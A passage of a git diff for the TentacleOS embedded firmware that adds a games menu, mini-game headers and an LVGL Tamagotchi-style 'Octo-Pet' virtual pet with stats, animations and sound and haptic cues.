bool up = ui_btn_up(), down = ui_btn_down(), left = ui_btn_left(); + bool right = ui_btn_right(), ok = ok_button_is_down(), back = back_button_is_down(); + + if (down && !s_down_last) + menu_component_next(&s_menu); + if (up && !s_up_last) + menu_component_prev(&s_menu); + if ((back && !s_back_last) || (left && !s_left_last)) + ui_switch_screen(SCREEN_MENU); + if ((ok && !s_ok_last) || (right && !s_right_last)) { + int sel = menu_component_get_selected(&s_menu); + if (sel >= 0 && sel < ITEM_COUNT) + ui_switch_screen(ITEMS[sel].target); + } + + s_up_last = up; + s_down_last = down; + s_left_last = left; + s_right_last = right; + s_ok_last = ok; + s_back_last = back; +} + +void ui_games_menu_open(void) { + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + s_up_last = s_down_last = s_left_last = s_right_last = s_ok_last = s_back_last = false; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + s_menu = menu_component_create(s_screen, "GAMES", GAME_ICON); + for (int i = 0; i < ITEM_COUNT; i++) + menu_component_add_item(&s_menu, GAME_ICON, ITEMS[i].name); + + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); + + ui_screen_load(s_screen); +} diff --git a/firmware_p4/components/Applications/ui/screens/games/include/breakout_ui.h b/firmware_p4/components/Applications/ui/screens/games/include/breakout_ui.h new file mode 100644 index 000000000..a282da441 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/games/include/breakout_ui.h @@ -0,0 +1,30 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef BREAKOUT_UI_H +#define BREAKOUT_UI_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @brief Open the Breakout mini-game. */ +void ui_breakout_open(void); + +#ifdef __cplusplus +} +#endif + +#endif // BREAKOUT_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/games/include/flappy_ui.h b/firmware_p4/components/Applications/ui/screens/games/include/flappy_ui.h new file mode 100644 index 000000000..bffa77a73 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/games/include/flappy_ui.h @@ -0,0 +1,30 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef FLAPPY_UI_H +#define FLAPPY_UI_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @brief Open the purple Flappy-Bird mini-game. */ +void ui_flappy_open(void); + +#ifdef __cplusplus +} +#endif + +#endif // FLAPPY_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/games/include/game_fx.h b/firmware_p4/components/Applications/ui/screens/games/include/game_fx.h new file mode 100644 index 000000000..723fbcfdd --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/games/include/game_fx.h @@ -0,0 +1,55 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +/** + * @file game_fx.h + * @brief Shared sound and haptic cues for the mini-games. + * + * Each cue plays a short melody on the speaker (off-thread, self-contained I2S) + * and fires a DRV2605L haptic effect. Safe to call from the LVGL/game-loop + * thread. + */ + +#ifndef GAME_FX_H +#define GAME_FX_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * @brief Sound and haptic cue kinds for the mini-games. + */ +typedef enum { + GFX_FLAP, ///< Wing flap / move + GFX_SCORE, ///< Point gained + GFX_EAT, ///< Snake ate food + GFX_BOUNCE, ///< Ball bounce + GFX_CRASH, ///< Collision / game over + GFX_START, ///< Round start +} game_fx_t; + +/** + * @brief Play the sound and haptic effect for a cue. + * + * @param kind The cue to play. + */ +void game_fx(game_fx_t kind); + +#ifdef __cplusplus +} +#endif + +#endif // GAME_FX_H diff --git a/firmware_p4/components/Applications/ui/screens/games/include/games_menu_ui.h b/firmware_p4/components/Applications/ui/screens/games/include/games_menu_ui.h new file mode 100644 index 000000000..46b5c137d --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/games/include/games_menu_ui.h @@ -0,0 +1,30 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef GAMES_MENU_UI_H +#define GAMES_MENU_UI_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @brief Open the Games list (Octo Flap / Snake / Breakout). */ +void ui_games_menu_open(void); + +#ifdef __cplusplus +} +#endif + +#endif // GAMES_MENU_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/games/include/octopet_ui.h b/firmware_p4/components/Applications/ui/screens/games/include/octopet_ui.h new file mode 100644 index 000000000..137b76136 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/games/include/octopet_ui.h @@ -0,0 +1,40 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +/** + * @file octopet_ui.h + * @brief Octo-Pet, a Tamagotchi-style virtual pet built around the octobit mascot. + * + * Stats (Hunger/Happy/Energy/Clean) decay over time; Feed/Play/Sleep/Clean + * actions keep it alive. Neglect it and it faints (revive with OK). + */ + +#ifndef UI_OCTOPET_H +#define UI_OCTOPET_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * @brief Open the Octo-Pet virtual-pet screen. + */ +void ui_octopet_open(void); + +#ifdef __cplusplus +} +#endif + +#endif // UI_OCTOPET_H diff --git a/firmware_p4/components/Applications/ui/screens/games/include/snake_ui.h b/firmware_p4/components/Applications/ui/screens/games/include/snake_ui.h new file mode 100644 index 000000000..1dfb2a1a1 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/games/include/snake_ui.h @@ -0,0 +1,30 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef SNAKE_UI_H +#define SNAKE_UI_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @brief Open the Snake mini-game. */ +void ui_snake_open(void); + +#ifdef __cplusplus +} +#endif + +#endif // SNAKE_UI_H diff --git a/firmware_p4/components/Applications/ui/screens/games/octopet_ui.c b/firmware_p4/components/Applications/ui/screens/games/octopet_ui.c new file mode 100644 index 000000000..9e131f4ba --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/games/octopet_ui.c @@ -0,0 +1,852 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "octopet_ui.h" + +#include + +#include "esp_log.h" +#include "lvgl.h" + +#include "assets_manager.h" +#include "buttons_gpio.h" +#include "game_fx.h" +#include "ui_manager.h" +#include "ui_theme.h" + +static const char *TAG = "OCTOPET"; + +#define NAV_MS 50 +#define LIFE_MS 1500 +#define PET_ASSET "/assets/img/octobit.bin" +#define FAINT_TICKS 10 +#define COL_GOOD 0x00E676 +#define COL_WARN 0xFFC400 +#define COL_BAD 0xFF5252 +#define COL_HEART 0xFF4081 +#define COL_CRUMB 0xFFB74D +#define COL_SPARKLE 0x40C4FF +#define COL_POOP 0x8D6E63 +#define COL_LEVEL 0xFFC400 + +#define LVL_BASE 6 +#define INIT_STAT 75 +#define STAT_MAX 100 + +enum { ACT_FEED = 0, ACT_PLAY, ACT_SLEEP, ACT_CLEAN, ACT_COUNT }; +static const char *ACT_NAMES[ACT_COUNT] = {"FEED", "PLAY", "SLEEP", "CLEAN"}; + +static bool s_inited = false; +static int s_hunger, s_happy, s_energy, s_clean; +static bool s_sleeping = false; +static bool s_fainted = false; +static int s_neglect = 0; +static int s_age = 0; +static int s_level = 1; +static bool s_poop = false; + +static lv_obj_t *s_screen = NULL; +static lv_timer_t *s_nav_timer = NULL; +static lv_timer_t *s_life_timer = NULL; +static lv_obj_t *s_pet = NULL; +static lv_obj_t *s_mood = NULL; +static lv_obj_t *s_zzz = NULL; +static lv_obj_t *s_poop_obj = NULL; +static lv_obj_t *s_faint_ov = NULL; +static lv_obj_t *s_bar[4]; +static lv_obj_t *s_val[4]; +static lv_obj_t *s_age_lbl = NULL; +static lv_obj_t *s_lvl_lbl = NULL; +static int s_sel = 0; +static lv_obj_t *s_cell[ACT_COUNT]; +static int32_t s_pet_rest_y = 0; +static uint32_t s_rng = 0x1234abcd; + +static bool s_l_last, s_r_last, s_ok_last, s_back_last; + +static void nav_timer_cb(lv_timer_t *t); +static void life_tick_cb(lv_timer_t *t); +static void refresh_pet_look(void); + +static uint32_t rng_next(void) { + s_rng ^= s_rng << 13; + s_rng ^= s_rng >> 17; + s_rng ^= s_rng << 5; + return s_rng; +} + +static int level_for_age(int age) { + int lvl = 1, need = LVL_BASE, acc = 0; + while (age >= acc + need) { + acc += need; + lvl++; + need += LVL_BASE; + } + return lvl; +} + +static void init_pet(void) { + s_hunger = s_happy = s_energy = s_clean = INIT_STAT; + s_sleeping = false; + s_fainted = false; + s_neglect = 0; + s_age = 0; + s_level = 1; + s_poop = false; + s_inited = true; +} + +static int clampi(int v) { + return v < 0 ? 0 : (v > STAT_MAX ? STAT_MAX : v); +} +static int stat_min(void) { + int m = s_hunger; + if (s_happy < m) + m = s_happy; + if (s_energy < m) + m = s_energy; + if (s_clean < m) + m = s_clean; + return m; +} +static uint32_t bar_color(int v) { + return v < 25 ? COL_BAD : (v < 55 ? COL_WARN : COL_GOOD); +} + +static void float_del_cb(lv_anim_t *a) { + lv_obj_del((lv_obj_t *)a->var); +} +static void float_y_cb(void *var, int32_t v) { + lv_obj_set_y((lv_obj_t *)var, v); +} +static void float_x_cb(void *var, int32_t v) { + lv_obj_set_x((lv_obj_t *)var, v); +} +static void float_opa_cb(void *var, int32_t v) { + lv_obj_set_style_opa((lv_obj_t *)var, (lv_opa_t)v, 0); +} + +static void spawn_particle(const char *text, + uint32_t color, + const lv_font_t *font, + int32_t x0, + int32_t y0, + int32_t dx, + int32_t dy, + uint32_t dur) { + if (s_screen == NULL) + return; + lv_obj_t *l = lv_label_create(s_screen); + lv_label_set_text(l, text); + lv_obj_set_style_text_color(l, lv_color_hex(color), 0); + lv_obj_set_style_text_font(l, font, 0); + lv_obj_set_pos(l, x0, y0); + + lv_anim_t ay; + lv_anim_init(&ay); + lv_anim_set_var(&ay, l); + lv_anim_set_exec_cb(&ay, float_y_cb); + lv_anim_set_values(&ay, y0, y0 + dy); + lv_anim_set_duration(&ay, dur); + lv_anim_set_path_cb(&ay, lv_anim_path_ease_out); + lv_anim_set_completed_cb(&ay, float_del_cb); + lv_anim_start(&ay); + + if (dx != 0) { + lv_anim_t ax; + lv_anim_init(&ax); + lv_anim_set_var(&ax, l); + lv_anim_set_exec_cb(&ax, float_x_cb); + lv_anim_set_values(&ax, x0, x0 + dx); + lv_anim_set_duration(&ax, dur); + lv_anim_set_path_cb(&ax, lv_anim_path_ease_in_out); + lv_anim_start(&ax); + } + + lv_anim_t ao; + lv_anim_init(&ao); + lv_anim_set_var(&ao, l); + lv_anim_set_exec_cb(&ao, float_opa_cb); + lv_anim_set_values(&ao, 255, 0); + lv_anim_set_duration(&ao, dur); + lv_anim_start(&ao); +} + +static void feedback(const char *text, uint32_t color) { + if (s_screen == NULL) + return; + lv_obj_t *l = lv_label_create(s_screen); + lv_label_set_text(l, text); + lv_obj_set_style_text_color(l, lv_color_hex(color), 0); + lv_obj_set_style_text_font(l, &lv_font_montserrat_14, 0); + lv_obj_align(l, LV_ALIGN_CENTER, 0, -24); + int32_t y0 = lv_obj_get_y(l); + + lv_anim_t ay; + lv_anim_init(&ay); + lv_anim_set_var(&ay, l); + lv_anim_set_exec_cb(&ay, float_y_cb); + lv_anim_set_values(&ay, y0, y0 - 38); + lv_anim_set_duration(&ay, 700); + lv_anim_set_path_cb(&ay, lv_anim_path_ease_out); + lv_anim_set_completed_cb(&ay, float_del_cb); + lv_anim_start(&ay); + + lv_anim_t ao; + lv_anim_init(&ao); + lv_anim_set_var(&ao, l); + lv_anim_set_exec_cb(&ao, float_opa_cb); + lv_anim_set_values(&ao, 255, 0); + lv_anim_set_duration(&ao, 700); + lv_anim_start(&ao); +} + +static void burst(int kind) { + if (s_screen == NULL) + return; + + int32_t sw = lv_obj_get_width(s_screen); + int32_t sh = lv_obj_get_height(s_screen); + int32_t bx = sw / 2; + int32_t by = sh / 2; + + switch (kind) { + case ACT_FEED: { + for (int i = 0; i < 5; i++) { + int32_t ox = (int32_t)(rng_next() % 44) - 22; + spawn_particle(".", + COL_CRUMB, + &lv_font_montserrat_14, + bx + ox, + by + 6, + (int32_t)(rng_next() % 16) - 8, + 22 + (int32_t)(rng_next() % 14), + 640); + } + break; + } + case ACT_PLAY: { + for (int i = 0; i < 4; i++) { + int32_t ox = (int32_t)(rng_next() % 50) - 25; + const char *g = (i & 1) ? "<3" : "*"; + spawn_particle(g, + COL_HEART, + (i & 1) ? &lv_font_montserrat_14 : &lv_font_montserrat_12, + bx + ox, + by - 6, + (int32_t)(rng_next() % 18) - 9, + -(34 + (int32_t)(rng_next() % 20)), + 820); + } + break; + } + case ACT_CLEAN: { + for (int i = 0; i < 6; i++) { + int32_t ox = (int32_t)(rng_next() % 60) - 30; + spawn_particle("+", + COL_SPARKLE, + &lv_font_montserrat_12, + bx + ox, + by - 2, + (int32_t)(rng_next() % 24) - 12, + -(20 + (int32_t)(rng_next() % 22)), + 700); + } + break; + } + default: + break; + } +} + +static void poop_gone_cb(lv_anim_t *a) { + lv_obj_del((lv_obj_t *)a->var); + if ((lv_obj_t *)a->var == s_poop_obj) + s_poop_obj = NULL; +} + +static void make_poop_obj(void) { + if (s_poop_obj || s_screen == NULL) + return; + s_poop_obj = lv_label_create(s_screen); + lv_label_set_text(s_poop_obj, "~"); + lv_obj_set_style_text_color(s_poop_obj, lv_color_hex(COL_POOP), 0); + lv_obj_set_style_text_font(s_poop_obj, &lv_font_montserrat_16, 0); + lv_obj_align(s_poop_obj, LV_ALIGN_CENTER, 38, 44); + + lv_obj_set_style_opa(s_poop_obj, LV_OPA_TRANSP, 0); + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, s_poop_obj); + lv_anim_set_exec_cb(&a, float_opa_cb); + lv_anim_set_values(&a, LV_OPA_TRANSP, LV_OPA_COVER); + lv_anim_set_duration(&a, 280); + lv_anim_start(&a); +} + +static void add_poop(void) { + if (s_poop) + return; + s_poop = true; + make_poop_obj(); +} + +static void sweep_poop_away(void) { + if (!s_poop) + return; + s_poop = false; + if (s_poop_obj) { + int32_t x0 = lv_obj_get_x(s_poop_obj); + lv_anim_t ax; + lv_anim_init(&ax); + lv_anim_set_var(&ax, s_poop_obj); + lv_anim_set_exec_cb(&ax, float_x_cb); + lv_anim_set_values(&ax, x0, x0 + 60); + lv_anim_set_duration(&ax, 380); + lv_anim_set_path_cb(&ax, lv_anim_path_ease_in); + lv_anim_start(&ax); + lv_anim_t ao; + lv_anim_init(&ao); + lv_anim_set_var(&ao, s_poop_obj); + lv_anim_set_exec_cb(&ao, float_opa_cb); + lv_anim_set_values(&ao, LV_OPA_COVER, LV_OPA_TRANSP); + lv_anim_set_duration(&ao, 380); + lv_anim_set_completed_cb(&ao, poop_gone_cb); + lv_anim_start(&ao); + } +} + +static const char *mood_face(uint32_t *col) { + if (s_fainted) { + *col = COL_BAD; + return "x_x"; + } + if (s_sleeping) { + *col = 0x82B1FF; + return "-_-"; + } + if (s_poop && s_clean < 40) { + *col = COL_POOP; + return ">_<"; + } + if (s_hunger < 25) { + *col = COL_BAD; + return ":<"; + } + if (s_clean < 25) { + *col = COL_POOP; + return ":S"; + } + if (s_energy < 25) { + *col = COL_WARN; + return "u_u"; + } + if (s_happy < 25) { + *col = COL_WARN; + return ":("; + } + if (stat_min() >= 70) { + *col = COL_GOOD; + return ":D"; + } + *col = COL_GOOD; + return ":)"; +} + +static const char *mood_word(void) { + if (s_fainted) + return "Fainted..."; + if (s_sleeping) + return "Sleeping"; + if (s_poop && s_clean < 40) + return "Eww, poop!"; + if (s_hunger < 25) + return "Hungry!"; + if (s_energy < 25) + return "Sleepy..."; + if (s_clean < 25) + return "Dirty!"; + if (s_happy < 25) + return "Sad"; + if (stat_min() >= 70) + return "Happy!"; + return "OK"; +} + +static void refresh_pet_look(void) { + if (s_pet) { + lv_obj_set_style_opa(s_pet, s_sleeping ? LV_OPA_60 : LV_OPA_COVER, 0); + bool sick = (!s_sleeping && stat_min() < 20); + lv_obj_set_style_image_recolor_opa(s_pet, sick ? LV_OPA_40 : LV_OPA_TRANSP, 0); + lv_obj_set_style_image_recolor(s_pet, lv_color_hex(COL_BAD), 0); + } + if (s_mood) { + uint32_t col; + const char *face = mood_face(&col); + lv_label_set_text(s_mood, face); + lv_obj_set_style_text_color(s_mood, lv_color_hex(col), 0); + } + + if (s_sleeping && s_zzz == NULL && s_screen) { + s_zzz = lv_label_create(s_screen); + lv_label_set_text(s_zzz, "Zzz"); + lv_obj_set_style_text_color(s_zzz, current_theme.border_accent, 0); + lv_obj_set_style_text_font(s_zzz, &lv_font_montserrat_16, 0); + lv_obj_align(s_zzz, LV_ALIGN_CENTER, 46, -54); + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, s_zzz); + lv_anim_set_exec_cb(&a, float_opa_cb); + lv_anim_set_values(&a, LV_OPA_30, LV_OPA_COVER); + lv_anim_set_duration(&a, 900); + lv_anim_set_playback_duration(&a, 900); + lv_anim_set_repeat_count(&a, LV_ANIM_REPEAT_INFINITE); + lv_anim_start(&a); + } else if (!s_sleeping && s_zzz != NULL) { + lv_obj_del(s_zzz); + s_zzz = NULL; + } + + if (s_poop && s_poop_obj == NULL && !s_fainted) + make_poop_obj(); +} + +static void refresh_bars(bool anim) { + int v[4] = {s_hunger, s_happy, s_energy, s_clean}; + for (int i = 0; i < 4; i++) { + if (s_bar[i]) { + lv_bar_set_value(s_bar[i], v[i], anim ? LV_ANIM_ON : LV_ANIM_OFF); + lv_obj_set_style_bg_color(s_bar[i], lv_color_hex(bar_color(v[i])), LV_PART_INDICATOR); + } + if (s_val[i]) { + lv_label_set_text_fmt(s_val[i], "%d", v[i]); + lv_obj_set_style_text_color(s_val[i], lv_color_hex(bar_color(v[i])), 0); + } + } +} + +static void refresh_age(void) { + if (s_age_lbl) + lv_label_set_text_fmt(s_age_lbl, "AGE %d", s_age); + if (s_lvl_lbl) + lv_label_set_text_fmt(s_lvl_lbl, "Lv %d", s_level); +} + +static void pet_scale_cb(void *var, int32_t v) { + lv_image_set_scale((lv_obj_t *)var, (uint32_t)v); +} +static void pet_pop(void) { + if (s_pet == NULL) + return; + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, s_pet); + lv_anim_set_exec_cb(&a, pet_scale_cb); + lv_anim_set_values(&a, 256, 296); + lv_anim_set_duration(&a, 120); + lv_anim_set_playback_duration(&a, 140); + lv_anim_set_path_cb(&a, lv_anim_path_ease_out); + lv_anim_start(&a); +} + +static void pet_wiggle(void) { + if (s_pet == NULL) + return; + int32_t x0 = lv_obj_get_x(s_pet); + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, s_pet); + lv_anim_set_exec_cb(&a, float_x_cb); + lv_anim_set_values(&a, x0, x0 + 4); + lv_anim_set_duration(&a, 90); + lv_anim_set_playback_duration(&a, 90); + lv_anim_set_repeat_count(&a, 2); + lv_anim_set_path_cb(&a, lv_anim_path_ease_in_out); + lv_anim_start(&a); +} + +static void pet_blink(void) { + if (s_mood == NULL) + return; + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, s_mood); + lv_anim_set_exec_cb(&a, float_opa_cb); + lv_anim_set_values(&a, LV_OPA_COVER, LV_OPA_30); + lv_anim_set_duration(&a, 110); + lv_anim_set_playback_duration(&a, 110); + lv_anim_set_path_cb(&a, lv_anim_path_ease_in_out); + lv_anim_start(&a); +} + +static void update_action_focus(void) { + for (int i = 0; i < ACT_COUNT; i++) { + if (!s_cell[i]) + continue; + bool sel = (i == s_sel); + lv_obj_set_style_border_color( + s_cell[i], sel ? current_theme.border_accent : current_theme.border_interface, 0); + lv_obj_set_style_border_width(s_cell[i], sel ? 3 : 1, 0); + lv_obj_set_style_bg_opa(s_cell[i], sel ? LV_OPA_COVER : LV_OPA_50, 0); + lv_obj_set_style_shadow_width(s_cell[i], sel ? 12 : 0, 0); + lv_obj_set_style_shadow_color(s_cell[i], current_theme.border_accent, 0); + lv_obj_set_style_shadow_spread(s_cell[i], sel ? 1 : 0, 0); + } +} + +static void do_action(int a) { + switch (a) { + case ACT_FEED: + s_hunger = clampi(s_hunger + 28); + s_clean = clampi(s_clean - 6); + game_fx(GFX_EAT); + feedback("+ Food", COL_GOOD); + burst(ACT_FEED); + + if (!s_poop && (rng_next() % 100) < 35) + add_poop(); + break; + case ACT_PLAY: + if (s_sleeping) { + feedback("zzz...", COL_WARN); + break; + } + s_happy = clampi(s_happy + 28); + s_energy = clampi(s_energy - 12); + game_fx(GFX_SCORE); + feedback("Fun!", COL_HEART); + burst(ACT_PLAY); + break; + case ACT_SLEEP: + s_sleeping = !s_sleeping; + game_fx(GFX_START); + feedback(s_sleeping ? "Zzz" : "Wake!", 0x82B1FF); + break; + case ACT_CLEAN: + s_clean = clampi(s_clean + 40); + game_fx(GFX_BOUNCE); + feedback(s_poop ? "Sparkly!" : "Clean!", COL_SPARKLE); + burst(ACT_CLEAN); + sweep_poop_away(); + break; + default: + break; + } + pet_pop(); + refresh_bars(true); + refresh_pet_look(); +} + +static void show_faint(void) { + s_fainted = true; + s_sleeping = false; + if (s_faint_ov || s_screen == NULL) + return; + s_faint_ov = lv_obj_create(s_screen); + lv_obj_remove_flag(s_faint_ov, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(s_faint_ov, lv_pct(80), 96); + lv_obj_align(s_faint_ov, LV_ALIGN_CENTER, 0, 0); + lv_obj_set_style_radius(s_faint_ov, 12, 0); + lv_obj_set_style_bg_color(s_faint_ov, current_theme.bg_primary, 0); + lv_obj_set_style_bg_opa(s_faint_ov, LV_OPA_COVER, 0); + lv_obj_set_style_border_width(s_faint_ov, 2, 0); + lv_obj_set_style_border_color(s_faint_ov, lv_color_hex(COL_BAD), 0); + lv_obj_set_flex_flow(s_faint_ov, LV_FLEX_FLOW_COLUMN); + lv_obj_set_flex_align( + s_faint_ov, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); + + lv_obj_t *t = lv_label_create(s_faint_ov); + lv_label_set_text(t, "Octo fainted!"); + lv_obj_set_style_text_color(t, current_theme.text_main, 0); + lv_obj_set_style_text_font(t, &lv_font_montserrat_16, 0); + lv_obj_t *h = lv_label_create(s_faint_ov); + lv_label_set_text(h, "OK to revive"); + lv_obj_set_style_text_color(h, current_theme.border_accent, 0); + lv_obj_set_style_text_font(h, &lv_font_montserrat_12, 0); + + game_fx(GFX_CRASH); +} + +static void revive(void) { + if (s_faint_ov) { + lv_obj_del(s_faint_ov); + s_faint_ov = NULL; + } + if (s_poop_obj) { + lv_obj_del(s_poop_obj); + s_poop_obj = NULL; + } + init_pet(); + refresh_bars(true); + refresh_age(); + refresh_pet_look(); + feedback("Revived!", COL_GOOD); +} + +static void life_tick_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_life_timer = NULL; + return; + } + if (s_fainted) + return; + + s_age++; + int new_level = level_for_age(s_age); + if (new_level > s_level) { + s_level = new_level; + game_fx(GFX_SCORE); + feedback("Level up!", COL_LEVEL); + } + refresh_age(); + + if (s_sleeping) { + s_energy = clampi(s_energy + 8); + s_hunger = clampi(s_hunger - 1); + s_clean = clampi(s_clean - 1); + if (s_energy >= STAT_MAX) + s_sleeping = false; + } else { + s_hunger = clampi(s_hunger - 3); + s_happy = clampi(s_happy - 2); + s_energy = clampi(s_energy - 2); + s_clean = clampi(s_clean - 2); + } + + if (s_poop) { + s_clean = clampi(s_clean - 3); + if ((s_age & 1) == 0) + s_happy = clampi(s_happy - 1); + } else if (!s_sleeping && (rng_next() % 100) < 6) { + add_poop(); + } + + if (!s_sleeping) { + uint32_t r = rng_next() % 100; + if (r < 12) + pet_blink(); + else if (r < 18) + pet_wiggle(); + } + + if (s_hunger == 0 && s_energy == 0) + s_neglect++; + else + s_neglect = 0; + + refresh_bars(true); + refresh_pet_look(); + + if (s_neglect >= FAINT_TICKS) + show_faint(); +} + +static void nav_timer_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen) { + lv_timer_delete(t); + s_nav_timer = NULL; + return; + } + if (ui_input_is_locked()) + return; + + bool left = ui_btn_left(), right = ui_btn_right(); + bool ok = ok_button_is_down(), back = back_button_is_down(); + + if (back && !s_back_last) { + ui_switch_screen(SCREEN_GAMES_MENU); + goto edges; + } + + if (s_fainted) { + if (ok && !s_ok_last) + revive(); + goto edges; + } + + if (left && !s_l_last) { + s_sel = (s_sel - 1 + ACT_COUNT) % ACT_COUNT; + update_action_focus(); + } + if (right && !s_r_last) { + s_sel = (s_sel + 1) % ACT_COUNT; + update_action_focus(); + } + if (ok && !s_ok_last) + do_action(s_sel); + +edges: + s_l_last = left; + s_r_last = right; + s_ok_last = ok; + s_back_last = back; +} + +void ui_octopet_open(void) { + if (!s_inited) + init_pet(); + + s_level = level_for_age(s_age); + + if (s_screen != NULL) { + lv_obj_del(s_screen); + s_screen = NULL; + } + s_zzz = NULL; + s_poop_obj = NULL; + s_faint_ov = NULL; + s_l_last = s_r_last = s_ok_last = s_back_last = false; + + s_screen = lv_obj_create(NULL); + lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); + lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); + lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); + + lv_obj_t *title = lv_label_create(s_screen); + lv_label_set_text(title, "OCTO-PET"); + lv_obj_set_style_text_color(title, current_theme.border_accent, 0); + lv_obj_set_style_text_font(title, &lv_font_montserrat_14, 0); + lv_obj_align(title, LV_ALIGN_TOP_MID, 0, 6); + + s_lvl_lbl = lv_label_create(s_screen); + lv_label_set_text_fmt(s_lvl_lbl, "Lv %d", s_level); + lv_obj_set_style_text_color(s_lvl_lbl, lv_color_hex(COL_LEVEL), 0); + lv_obj_set_style_text_font(s_lvl_lbl, &lv_font_montserrat_12, 0); + lv_obj_align(s_lvl_lbl, LV_ALIGN_TOP_LEFT, 8, 8); + + s_age_lbl = lv_label_create(s_screen); + lv_label_set_text_fmt(s_age_lbl, "AGE %d", s_age); + lv_obj_set_style_text_color(s_age_lbl, current_theme.border_inactive, 0); + lv_obj_set_style_text_font(s_age_lbl, &lv_font_montserrat_12, 0); + lv_obj_align(s_age_lbl, LV_ALIGN_TOP_RIGHT, -8, 8); + + static const char *cap[4] = {"HUN", "HAP", "ENE", "CLN"}; + for (int i = 0; i < 4; i++) { + lv_obj_t *c = lv_label_create(s_screen); + lv_label_set_text(c, cap[i]); + lv_obj_set_style_text_color(c, current_theme.border_inactive, 0); + lv_obj_set_style_text_font(c, 